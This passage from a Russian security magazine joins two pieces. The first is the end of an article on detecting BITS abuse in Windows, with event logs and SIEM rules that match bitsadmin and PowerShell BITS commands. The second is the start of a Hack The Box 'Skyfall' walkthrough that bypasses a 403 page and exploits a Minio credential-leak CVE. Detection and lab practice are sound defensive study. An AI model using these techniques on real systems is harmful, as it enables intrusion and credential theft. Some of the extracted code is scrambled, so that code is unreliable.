180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.
3.195.15.exe</Data>

        <Data Name="**jobId**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}
</Data>

        <Data Name="**jobOwner**">DESKTOP-5SG4NV1\qwer</Data>
        <Data Name="**processPath**">C:\Program Files (x86)\

Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe</Data>
 4572       <Data Name="**processId**"> </Data>

   </EventData>
</Event>

Интересные нам поля:
 — имя задачи;• jobTitle

 — идентификатор задачи;• jobId

 — имя пользователя;• jobOwner

 — процесс, который создал задачу;• processPath

 — идентификатор процесса, который создал задачу.• processId

Пример события: задача BITS запущена
 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">

   <System>
  

 
       <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{
EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />

59       <EventID> </EventID>
1       <Version> </Version>

4       <Level> </Level>
0       <Task> </Task>
1       <Opcode> </Opcode>

       <Keywords>0x4000000000000000</Keywords>
         <TimeCreated SystemTime="**2024-07-29T01:24:56.996349300Z**"

/>
1785       <EventRecordID> </EventRecordID>

 
 

       <Correlation ActivityID="**{
FB9C74E7-8E45-4692-AEBB-948DFCB84498}**" />

          <Execution ProcessID="**5156**" ThreadID="**2992**" />
       <Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
       <Computer>DESKTOP-5SG4NV1</Computer>

         <Security UserID="**S-1-5-18**" />
   </System>
   <EventData>

        <Data Name="**transferId**">{FB9C74E7-8E45-4692-AEBB-
948DFCB84498}</Data>

        <Data Name="**name**">C:\Users\qwer\AppData\Local\Temp\{
180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.
3.195.15.exe</Data>

        <Data Name="**Id**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</
Data>

 

P3=2

       <Data Name="**url**">http://msedge.b.tlu.dl.delivery.mp.
microsoft.com/filestreamingservice/files/323fa7f7-4445-4137-82ec-
71528949182a?P1=1722785097&P2=404& &
P4=b%2farCiRMdKqBSgtd8%2bV%2bbnK29zSLqbnBPZJeUgvlbM7rZTcljJhLwZMe4jsU
espcM4FyazgXeWCs9xKWieG4pA%3d%3d
</Data>

         <Data Name="**peer**" />
        <Data Name="**fileTime**">2024-07-24T21:10:59.000000000Z</

Data>
        <Data Name="**fileLength**">1645112</Data>
        <Data Name="**bytesTotal**">1645112</Data>
 0       <Data Name="**bytesTransferred**"> </Data>
 0       <Data Name="**bytesTransferredFromPeer**"> </Data>

   </EventData>
</Event>

Интересные поля:
 — имя задачи;• name

 — идентификатор задачи;• Id

 — путь до файла, который необходимо загрузить;• url

 — размер файла.• fileLength

Пример события: задача BITS остановлена
    <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/
event">
   <System>

  
 

       <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{
EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />

60       <EventID> </EventID>
1       <Version> </Version>

4       <Level> </Level>
0       <Task> </Task>
2       <Opcode> </Opcode>

       <Keywords>0x4000000000000000</Keywords>
         <TimeCreated SystemTime="**2024-07-29T01:25:20.322452500Z**"

/>
1786       <EventRecordID> </EventRecordID>

 
 

       <Correlation ActivityID="**{
FB9C74E7-8E45-4692-AEBB-948DFCB84498}**" />

          <Execution ProcessID="**5156**" ThreadID="**7624**" />
       <Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
       <Computer>DESKTOP-5SG4NV1</Computer>

         <Security UserID="**S-1-5-18**" />
   </System>
   <EventData>

        <Data Name="**transferId**">{FB9C74E7-8E45-4692-AEBB-
948DFCB84498}</Data>

        <Data Name="**name**">C:\Users\qwer\AppData\Local\Temp\{
180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.
3.195.15.exe</Data>

        <Data Name="**Id**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</
Data>

 

P3=2

       <Data Name="**url**">http://msedge.b.tlu.dl.delivery.mp.
microsoft.com/filestreamingservice/files/323fa7f7-4445-4137-82ec-
71528949182a?P1=1722785097&P2=404& &
P4=b%2farCiRMdKqBSgtd8%2bV%2bbnK29zSLqbnBPZJeUgvlbM7rZTcljJhLwZMe4jsU
espcM4FyazgXeWCs9xKWieG4pA%3d%3d
</Data>

         <Data Name="**peer**" />
 0       <Data Name="**hr**"> </Data>
        <Data Name="**fileTime**">2024-07-24T21:10:59.000000000Z</

Data>
        <Data Name="**fileLength**">1645112</Data>
        <Data Name="**bytesTotal**">1645112</Data>
        <Data Name="**bytesTransferred**">1645112</Data>
         <Data Name="**proxy**" />
 0       <Data Name="**peerProtocolFlags**"> </Data>
 0       <Data Name="**bytesTransferredFromPeer**"> </Data>
 0       <Data Name="**AdditionalInfoHr**"> </Data>
 0       <Data Name="**PeerContextInfo**"> </Data>
        <Data Name="**bandwidthLimit**">18446744073709551615</Data>
 false       <Data Name="**ignoreBandwidthLimitsOnLan**"> </Data>

   </EventData>
</Event>

Интересные поля:
 — имя задачи;• name

 — идентификатор задачи;• Id

 — путь до файла, который необходимо загрузить;• url

 — размер файла;• fileLength

 — количество переданных байтов.• bytesTransferred

Пример события: задача BITS завершена
 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">

   <System>
  

 
       <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{
EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />

4       <EventID> </EventID>
1       <Version> </Version>

4       <Level> </Level>
0       <Task> </Task>
0       <Opcode> </Opcode>

       <Keywords>0x4000000000000000</Keywords>
         <TimeCreated SystemTime="**2024-07-29T01:25:20.323389200Z**"

/>
1787       <EventRecordID> </EventRecordID>

        <Correlation />
          <Execution ProcessID="**5156**" ThreadID="**460**" />

       <Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
       <Computer>DESKTOP-5SG4NV1</Computer>

         <Security UserID="**S-1-5-18**" />
   </System>

   <EventData>
        <Data Name="**User**">DESKTOP-5SG4NV1\qwer</Data>
        <Data Name="**jobTitle**">C:\Users\qwer\AppData\Local\Temp\{

180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.
3.195.15.exe</Data>

        <Data Name="**jobId**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}
</Data>

        <Data Name="**jobOwner**">DESKTOP-5SG4NV1\qwer</Data>
 1       <Data Name="**fileCount**"> </Data>
        <Data Name="**bytesTransferred**">1645112</Data>
 0       <Data Name="**bytesTransferredFromPeer**"> </Data>

   </EventData>
</Event>

Интересные поля:
 — имя задачи;• jobTitle

 — идентификатор задачи;• jobId

 — имя пользователя;• jobOwner

 — количество переданных файлов в задаче;• fileCount

 — процесс, который создал задачу;• processPath

 — количество переданных байтов.• bytesTransferred

Обнаруживаем создание и завершение задачи
Давай напишем правило обнаружения рассмотренной цепочки событий.

event Bits_create_job:

   key:

       event_src.host, object.id

   filter {

       msgid == "3"

           and event_src.id == "Microsoft-Windows-Bits-Client"

   }


event Bits_started_download:

   key:

       event_src.host, object.id

   filter {

       msgid == "59"

       and event_src.id == "Microsoft-Windows-Bits-Client"

   }


event Bits_fininished_job:

   key:

       event_src.host, object.id

   filter {

       msgid == "4"

       and event_src.id == "Microsoft-Windows-Bits-Client"

   }


rule Create_bits_job_and_download: (Bits_create_job -> Bits_started_
download ->Bits_fininished_job) timer 30m


Если в  течение  30  минут будут события создания, запуска и  завершения
задачи с  одинаковым идентификатором, зарегистрируется корреляционное
событие.

Создание задачи BITS подозрительным процессом
Задачи BITS создаются процессами системы или  приложений. Ты можешь
сделать табличный список с доверенными процессами. Давай напишем пра‐
вило корреляции, которое проверяет процесс в  списке и  создает событие
инцидента. Нам понадобится событие с   и  белый список

.

EventID = 3
BITS_process_whitelist

query CheckProcess($fullpath) from BITS_process_whitelist {

   regex_match($fullpath, column::fullpath)

}


event Bits_create_job:

   key:

       event_src.host

   filter {

       msgid == "3"

       and event_src.id == "Microsoft-Windows-Bits-Client"

       and select_query_first("CheckProcess", [lower(object.process.
fullpath)], "fullpath") == null

   }


rule Create_bits_job_suspicious_process: Bits_create_job


Создание дочернего процесса службой BITS
Процесс, установленный в качестве уведомления для задачи BITS, запускает‐
ся от родительского процесса службы BITS:

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS


Пример события — ниже.

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{

5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
   1<EventID> </EventID>
   5<Version> </Version>
   4<Level> </Level>
   1<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-09T19:28:36.1518177Z**" />
   <EventRecordID>6417785</EventRecordID>
    <Correlation />
      <Execution ProcessID="**6208**" ThreadID="**1520**" />
   <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    -<Data Name="**RuleName**"> </Data>
    <Data Name="**UtcTime**">2024-08-09 19:28:36.150</Data>
    <Data Name="**ProcessGuid**">{95af35c7-6de4-66b6-2b09-
000000000400}</Data>
    4384<Data Name="**ProcessId**"> </Data>
    <Data Name="**Image**">C:\Windows\System32\cmd.exe</Data>
    <Data Name="**FileVersion**">10.0.19041.4355 (WinBuild.160101.
0800)</Data>
    <Data Name="**Description**">Windows Command Processor</Data>
    <Data Name="**Product**">Microsoft® Windows® Operating System</
Data>
    <Data Name="**Company**">Microsoft Corporation</Data>
    <Data Name="**OriginalFileName**">Cmd.Exe</Data>
    <Data Name="**CommandLine**">"c:\windows\system32\cmd.exe"</Data>
    <Data Name="**CurrentDirectory**">C:\Windows\system32\</Data>
    <Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
    <Data Name="**LogonGuid**">{95af35c7-1d58-66b5-45b9-010000000000}
</Data>
    <Data Name="**LogonId**">0x1b945</Data>
    1<Data Name="**TerminalSessionId**"> </Data>
    <Data Name="**IntegrityLevel**">Medium</Data>
    <Data Name="**Hashes**">
SHA1=DF79C86FDD11B9CCB89148458E509F879C72566C,
MD5=2B40C98ED0F7A1D3B091A3E8353132DC,
SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088
B0,
IMPHASH=272245E2988E1E430500B852C4FB5E18</Data>
    <Data Name="**ParentProcessGuid**">{95af35c7-6ba5-66b6-b708-
000000000400}</Data>
    2720<Data Name="**ParentProcessId**"> </Data>
    <Data Name="**ParentImage**">C:\Windows\System32\svchost.exe</
Data>
    <Data Name="**ParentCommandLine**">C:\Windows\System32\svchost.
exe -k netsvcs -p -s BITS</Data>
    <Data Name="**ParentUser**">NT AUTHORITY\СИСТЕМА</Data>
</EventData>
</Event>

А вот правило для обнаружения подобной активности.

event Process_Start:

   key:

       event_src.host

   filter {

       filter::NotFromCorrelator()

       and filter::ProcessStart_Windows_any()

       and match(lower(object.process.parent.cmdline), "* -k 
netsvcs -p -s bits")

   }


rule Start_BITS_Notifycmdline: (Process_Start+) timer 5m


Продолжение статьи
→

https://github.com/d3f0x0/bits-tampering/tree/main
https://github.com/Security-Experts-Community/open-xp-rules


КЛОЧКИ

ПО ЗАКОУЛОЧКАМ
КАК УСТРОЕНА СЛУЖБА BITS

В WINDOWS, И КАК ЕЕ АТАКУЮТ

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

Правило обнаруживает создание дочерних процессов службой BITS.

Обнаружение загрузки DLL
Для взаимодействия с BITS используются две основные библиотеки:

;• qmgrprxy.dll

.
• Microsoft.BackgroundIntelligentTransfer.Management.

Interop.dll

Ниже  — примеры событий Sysmon с  . Загрузим вторую биб‐

лиотеку.

EventID = 7

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{

5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
   7<EventID> </EventID>
   3<Version> </Version>
   4<Level> </Level>
   7<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-10T20:29:36.5882941Z**" />
   <EventRecordID>7413641</EventRecordID>
    <Correlation />
      <Execution ProcessID="**6208**" ThreadID="**1520**" />
   <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    -<Data Name="**RuleName**"> </Data>
    <Data Name="**UtcTime**">2024-08-10 20:29:36.580</Data>
    <Data Name="**ProcessGuid**">{95af35c7-cdac-66b7-da0e-
000000000400}</Data>
    6968<Data Name="**ProcessId**"> </Data>
    <Data Name="**Image**">C:\Windows\System32\WindowsPowerShell\v1.
0\powershell.exe</Data>
    <Data Name="**ImageLoaded**">C:\Windows\System32\
WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.
BackgroundIntelligentTransfer.Management.Interop.dll</Data>
    <Data Name="**FileVersion**">7.8.19041.3636 (WinBuild.160101.
0800)</Data>
    <Data Name="**Description**">Microsoft Windows BITS Managed 
Library</Data>
    <Data Name="**Product**">Microsoft® Windows® Operating System</
Data>
    <Data Name="**Company**">Microsoft Corporation</Data>
    <Data Name="**OriginalFileName**">Microsoft.Windows.
BackgroundIntelligentTransfer.dll</Data>
    <Data Name="**Hashes**">
SHA1=2785F110A4A36D976A361FD9B679A0F70BF02CB1,
MD5=BDE937891014AFEC14D9BE150DD0D813,
SHA256=BB30E0267780BE6C5E2FBFB65C7E87147049B4088126974185848D2DDA5A48
4D,
IMPHASH=6FA5B0E24FA9A5CEB565C17E9AE09990</Data>
    true<Data Name="**Signed**"> </Data>
    <Data Name="**Signature**">Microsoft Windows</Data>
    Valid<Data Name="**SignatureStatus**"> </Data>

 <Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
</EventData>
</Event>

Загрузка библиотеки .BitsProxy.dll

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{

5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
   7<EventID> </EventID>
   3<Version> </Version>
   4<Level> </Level>
   7<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-10T20:29:36.6217377Z**" />
   <EventRecordID>7413644</EventRecordID>
    <Correlation />
      <Execution ProcessID="**6208**" ThreadID="**1520**" />
   <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    -<Data Name="**RuleName**"> </Data>
    <Data Name="**UtcTime**">2024-08-10 20:29:36.612</Data>
    <Data Name="**ProcessGuid**">{95af35c7-cdac-66b7-da0e-
000000000400}</Data>
    6968<Data Name="**ProcessId**"> </Data>
    <Data Name="**Image**">C:\Windows\System32\WindowsPowerShell\v1.
0\powershell.exe</Data>
    <Data Name="**ImageLoaded**">C:\Windows\System32\BitsProxy.dll</
Data>
    <Data Name="**FileVersion**">7.8.19041.1 (WinBuild.160101.0800)</
Data>
    <Data Name="**Description**">Background Intelligent Transfer 
Service Proxy</Data>
    <Data Name="**Product**">Microsoft® Windows® Operating System</
Data>
    <Data Name="**Company**">Microsoft Corporation</Data>
    <Data Name="**OriginalFileName**">qmgrprxy.dll</Data>
    <Data Name="**Hashes**">
SHA1=F76CEB9DA1BD2F4E9C02E49758C654630518A066,
MD5=B3E2BAEAD079C29BC16CAA7830A17FA6,
SHA256=E72BF2ADCE95F764BD880A458B04BA0BEBB0EBA7EB3473A29FDBE3A98F1A86
D5,
IMPHASH=44BEE37A834D6E66277D9ADD2D131FC2</Data>
    true<Data Name="**Signed**"> </Data>
    <Data Name="**Signature**">Microsoft Windows</Data>
    Valid<Data Name="**SignatureStatus**"> </Data>

 <Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
</EventData>
</Event>

Для обнаружения будем использовать уже известный тебе табличный список
. В правиле проверим, что процесс не входит в таб‐

личный список и имя загружаемого модуля совпадает с интересующим нас.
BITS_process_whitelist

query CheckProcess($fullpath) from BITS_process_whitelist {

   regex_match($fullpath, column::fullpath)

}

event Image_load:

   key:

       event_src.host

   filter {

       filter::NotFromCorrelator()

       and msgid == "7" and event_src.title == "sysmon"

       and select_query_first("CheckProcess", [lower(subject.
process.fullpath)], "fullpath") == null

       and in_list(["bitsproxy.dll", "microsoft.
backgroundintelligenttransfer.management.interop.dll"], lower(object.
process.name))

   }


rule Used_bits_over_custom_binary: Image_load[1,5] timer 1m


Создание временного файла
Если ты помнишь, загруженные файлы становятся доступны только после
перехода задания в состояние . До того момен‐

та загруженные файлы имеют название такого вида: , нап‐

ример: . Ниже — пример события.

BG_JOB_STATE_ACKNOWLEDGED
BIT[\d\w]+\.tmp

BITD1F5.tmp

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{

5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
   11<EventID> </EventID>
   2<Version> </Version>
   4<Level> </Level>
   11<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-03T11:58:21.3914420Z**" />
   55765<EventRecordID> </EventRecordID>
    <Correlation />
      <Execution ProcessID="**1412**" ThreadID="**9448**" />
   <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    -<Data Name="**RuleName**"> </Data>
    <Data Name="**UtcTime**">2024-08-03 11:58:21.378</Data>
    <Data Name="**ProcessGuid**">{95af35c7-1a16-66ae-6226-
000000000300}</Data>
    1752<Data Name="**ProcessId**"> </Data>
    <Data Name="**Image**">C:\Windows\System32\svchost.exe</Data>
    <Data Name="**TargetFilename**">C:\Users\qwer\BITD1F5.tmp</Data>
    <Data Name="**CreationUtcTime**">2024-08-03 11:58:21.378</Data>
    <Data Name="**User**">NT AUTHORITY\СИСТЕМА</Data>
</EventData>
</Event>

Напишем правило, которое будет проверять, что имя файла соответствует
паттерну .bit[\w\d]+\.tmp

event Create_file:

   key:

       event_src.host

   filter {

       filter::NotFromCorrelator()

       and filter::FileCreate_Windows()

       and regex(lower(object.name), "bit[\w\d]+\.tmp", 0) != null

   }


rule Download_file_via_bits: Create_file


Ищем аргументы командной строки и командлетов PowerShell
Мы изучили много способов взаимодействия с BITS, настало время написать
правило обнаружения, основанное на аргументах утилиты bitsadmin и коман‐
длетах PowerShell.

event Process_Start:

   key:

       event_src.host

   filter {

       filter::NotFromCorrelator()

       and (

           filter::ProcessStart_Windows_commandline("bitsadmin.
exe", 
".*transfer.*|.*create.*|.*addfile.*|.*setnotifyflags.*|.*setnotifycm
dline.*|.*setminretrydelay.*|.*setcustomheaders.*|.*resume.*")

           or

               filter::ProcessStart_Windows_commandline("powershell.
exe", ".*start-bitstransfer.*|.*add-bitsfile.*|.*resume-bitstransfer.
*|.*set-bitstransfer.*|.*bits.manager.*")

           or

               filter::ProcessStart_Windows_commandline("powershell_
ise.exe", ".*start-bitstransfer.*|.*add-bitsfile.*|.*resume-
bitstransfer.*|.*set-bitstransfer.*|.*bits.manager.*")

           )

   }


event Powershell_Pipeline_Execute:

   key:

       event_src.host

   filter {

       filter::NotFromCorrelator()

       and msgid == "4104"

       and action == "execute"

       and event_src.title == "windows"

       and object == "command"

       and event_src.subsys == "Microsoft-Windows-PowerShell/
Operational"

       and (

           match(lower(object.process.cmdline),"*start-
bitstransfer*")

           or

           match(lower(object.process.cmdline),"*add-bitsfile*")

           or

       match(lower(object.process.cmdline),"resume-bitstransfer")

           or

           match(lower(object.process.cmdline),"*set-bitstransfer*")

           or

           match(lower(object.process.cmdline),"*bits.manager*")


           # Командлеты PowerShell для WinRM


           or match(lower(object.process.cmdline),"*wmi/root/
microsoft/bits/bitsclientjob*")


           # Командлеты WMI https://learn.microsoft.com/ru-ru/
windows/win32/bits/bits-compact-server


           or match(lower(object.process.cmdline),"*root\\microsoft\
\bits*")


           or match(lower(object.process.
cmdline),"*bitscompactserverurlgroup*")

   )

   }


event Powershell_Command_Execute:

   key:

       event_src.host

   filter {

       filter::NotFromCorrelator()

       and msgid == "4103"

       and action == "execute"

       and event_src.title == "windows"

       and object == "command"

       and event_src.subsys == "Microsoft-Windows-PowerShell/
Operational"

       and (

       match(lower(object.process.cmdline),"*start-bitstransfer*")

       or

       match(lower(object.process.cmdline),"*add-bitsfile*")

       or

       match(lower(object.process.cmdline),"resume-bitstransfer")

       or

       match(lower(object.process.cmdline),"*set-bitstransfer*")

       or

       match(lower(object.process.cmdline),"*bits.manager*")

       # Командлеты PowerShell для WinRM

       or match(lower(object.process.cmdline),"*wmi/root/microsoft/
bits/bitsclientjob*")


   # Командлеты WMI https://learn.microsoft.com/ru-ru/windows/win32/
bits/bits-compact-server


       or

               match(lower(object.process.cmdline),"*root\\
microsoft\\bits*")

       or match(lower(object.process.
cmdline),"*bitscompactserverurlgroup*")

       )

   }


rule Create_bits_job_cmdline: (Process_Start or Powershell_Pipeline_
Execute or Powershell_Command_Execute) timer 5m


Правило создаст инцидент, если имя процесса  — ,

,  и  аргументы командной строки сов‐

падают с  определенным паттерном, а  также если в  событиях с  EventID
4103 и 4104 журнала  поля с командлетами совпадают с одной

из масок.

bitsadmin.exe
powershell.exe powershell_ise.exe

Operational

Обнаружение эксплуатации BITS с помощью Windows Defender
Мы говорили выше, что Windows Defender реагирует на  команды, исполь‐
зуемые для  работы с  BITS. Давай напишем правило корреляции, которое
будет создавать инцидент, если название вердикта Windows Defender сов‐
падает с маской .*bits*

event Defender_alert:

   key:

       event_src.host

   filter {

       msgid == "1116"

       and event_src.subsys == "Microsoft-Windows-Windows Defender/
Operational"

       and match(lower(object.name), "*bits*")

}


rule Windows_defender_BITS_alert: Defender_alert+ timer 5m


Пример события Windows Defender:

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Windows Defender**" Guid="**{

11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}**" />
   1116<EventID> </EventID>
   0<Version> </Version>
   3<Level> </Level>
   0<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-11T19:12:41.8598837Z**" />
   1051<EventRecordID> </EventRecordID>
    <Correlation />
      <Execution ProcessID="**3580**" ThreadID="**2036**" />
   <Channel>Microsoft-Windows-Windows Defender/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    <Data Name="**Product Name**">Антивирусная программа Microsoft 
Defender</Data>
    <Data Name="**Product Version**">4.18.24070.5</Data>
    <Data Name="**Detection ID**">{0F54C4AA-B2B9-4FA7-BE0F-
ADE9E3F93620}</Data>
    <Data Name="**Detection Time**">2024-08-11T19:12:41.858Z</Data>
     <Data Name="**Unused**" />
     <Data Name="**Unused2**" />
    <Data Name="**Threat ID**">2147728776</Data>
    <Data Name="**Threat Name**">Behavior:Win32/BITSAbuse.As</Data>
    5<Data Name="**Severity ID**"> </Data>
    <Data Name="**Severity Name**">Критический</Data>
    46<Data Name="**Category ID**"> </Data>
    <Data Name="**Category Name**">Подозрительное поведение</Data>
    <Data Name="**FWLink**">https://go.microsoft.com/fwlink/?
linkid=37020&name=Behavior:Win32/BITSAbuse.As&threatid=2147728776&
enterprise=0</Data>
    1<Data Name="**Status Code**"> </Data>
     <Data Name="**Status Description**" />
    1<Data Name="**State**"> </Data>
    0<Data Name="**Source ID**"> </Data>
    <Data Name="**Source Name**">Неизвестно</Data>
    <Data Name="**Process Name**">Unknown</Data>
     <Data Name="**Detection User**" />
     <Data Name="**Unused3**" />
    <Data Name="**Path**">behavior:_process: C:\Windows\System32\
bitsadmin.exe, pid:420:111822694772619; process:_pid:420,
ProcessStart:133678771617165578</Data>
    0<Data Name="**Origin ID**"> </Data>
    <Data Name="**Origin Name**">Неизвестно</Data>
    3<Data Name="**Execution ID**"> </Data>
    <Data Name="**Execution Name**">Выполнение</Data>
    0<Data Name="**Type ID**"> </Data>
    <Data Name="**Type Name**">Конкретный</Data>
    0<Data Name="**Pre Execution Status**"> </Data>
    9<Data Name="**Action ID**"> </Data>
    <Data Name="**Action Name**">Неприменимо</Data>
     <Data Name="**Unused4**" />
    <Data Name="**Error Code**">0x00000000</Data>
    <Data Name="**Error Description**">Операция успешно завершена.</
Data>
     <Data Name="**Unused5**" />
    0<Data Name="**Post Clean Status**"> </Data>
    0<Data Name="**Additional Actions ID**"> </Data>
    <Data Name="**Additional Actions String**">No additional actions 
required</Data>
     <Data Name="**Remediation User**" />
     <Data Name="**Unused6**" />
    <Data Name="**Security intelligence Version**">AV: 1.417.66.0, 
AS: 1.417.66.0, NIS: 1.417.66.0</Data>
    <Data Name="**Engine Version**">AM: 1.1.24070.3, NIS: 1.1.24070.3
</Data>
   </EventData>
</Event>

WWW

Все правила обнаружения из  этой статьи ты
можешь найти в   на GitHub.пул‑реквесте

ВЫВОДЫ

Не секрет, что в  операционных системах есть все нужное для  достижения
целей хакеров. Достаточно вникнуть в  тонкости работы стандартных инстру‐
ментов, и  при необходимости можно не  только обойтись ими, но  и лучше
избежать обнаружения.

Защитникам же рекомендую внимательнее писать правила и  стараться
добиться увеличения как точности (precision), так и полноты (recall).

https://github.com/Security-Experts-Community/open-xp-rules/pull/435
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ВЗЛОМ

Сегодня мы поработаем с  системой хра‐
нения секретов HashiCorp Vault и извлечем
из  нее критичные данные. Также обойдем
контроль доступа к  странице на  веб‑сер‐
вере и  проэксплуатируем баг раскрытия
данных в Minio, а при повышении привиле‐
гий используем неправильный контроль
доступа к файлу в Linux.

Наша цель — получение прав суперпользователя на машине Skyfall с учебной
площадки . Уровень ее сложности — «безумный».Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.254 skyfall.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел всего два открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Nginx 1.18.0.•

Сразу проверяем, что нам покажет веб‑сервер, и  видим главную страницу
сайта.

Главная страница сайта

ТОЧКА ВХОДА

Изучая сайт, находим ссылку на новый для нас поддомен.

Главная страница сайта

Прежде чем смотреть этот сайт, сначала обновим запись в  :/etc/hosts

10.10.11.254 skyfall.htb demo.skyfall.htb


На найденном сайте нас встречает форма авторизации.

Форма авторизации

Так как  сайт работает в  демо‑режиме, в  форме отображаются учетные дан‐
ные .guest:guest

Главная страница сайта demo.skyfall.htb

Просматривая страницы сайта, доходим до  раздела Minio Metrics, где нас
встречает ошибка 403, связанная с ограничением доступа.

Ошибка 403

Обход 403
Поскольку используется веб‑сервер Nginx, можно попробовать применить
специальные последовательности в  пути страницы, чтобы обойти контроль
доступа. Я перебрал разные нагрузки с  помощью Burp Intruder и  определил
два пути, которые возвращают содержимое страницы .metrics

Результат перебора в Burp Intruder

Содержимое страницы metrics

В представленной таблице видим . Поскольку мы нашли

еще один поддомен, добавим и его в  .

minio_endpoint_url
/etc/hosts

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.
htb


А теперь посмотрим, что там.

Содержимое сайта prd23-s3-backend.skyfall.htb

Продолжение статьи
→

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


HTB SKYFALL
ДОБЫВАЕМ КЛЮЧ SSH

ИЗ HASHICORP VAULT

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ТОЧКА ОПОРЫ

Minio — это высокопроизводительное организованное объектное хранилище.
Последний публичный эксплоит для Minio — CVE-2023–28432. Он позволяет
неавторизованному пользователю получить конфиг, содержащий учетные
данные. Эксплуатация очень простая, нужно всего лишь выполнить POST-зап‐
рос на страницу ./minio/bootstrap/v1/verify

Файл конфигураций Minio

Для работы с Minio потребуется консольная утилита , скачать которую мож‐

но на  .

mc
официальном сайте

wget https://dl.min.io/client/mc/release/linux-amd64/mc

chmod +x mc


Первым делом необходимо создать alias для  подключения к  серверу.
Зададим имя альяса, адрес и учетные данные.

mc alias set myminio http://prd23-s3-backend.skyfall.htb 
5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0


Создание альяса для mc

Когда все готово, можно приступить к  работе с  Minio. Для  начала запросим
содержимое хранилища.

./mc ls myminio


Содержимое хранилища Minio

Чтобы не просматривать каждый каталог отдельно, можно выполнить рекур‐
сивный вывод содержимого.

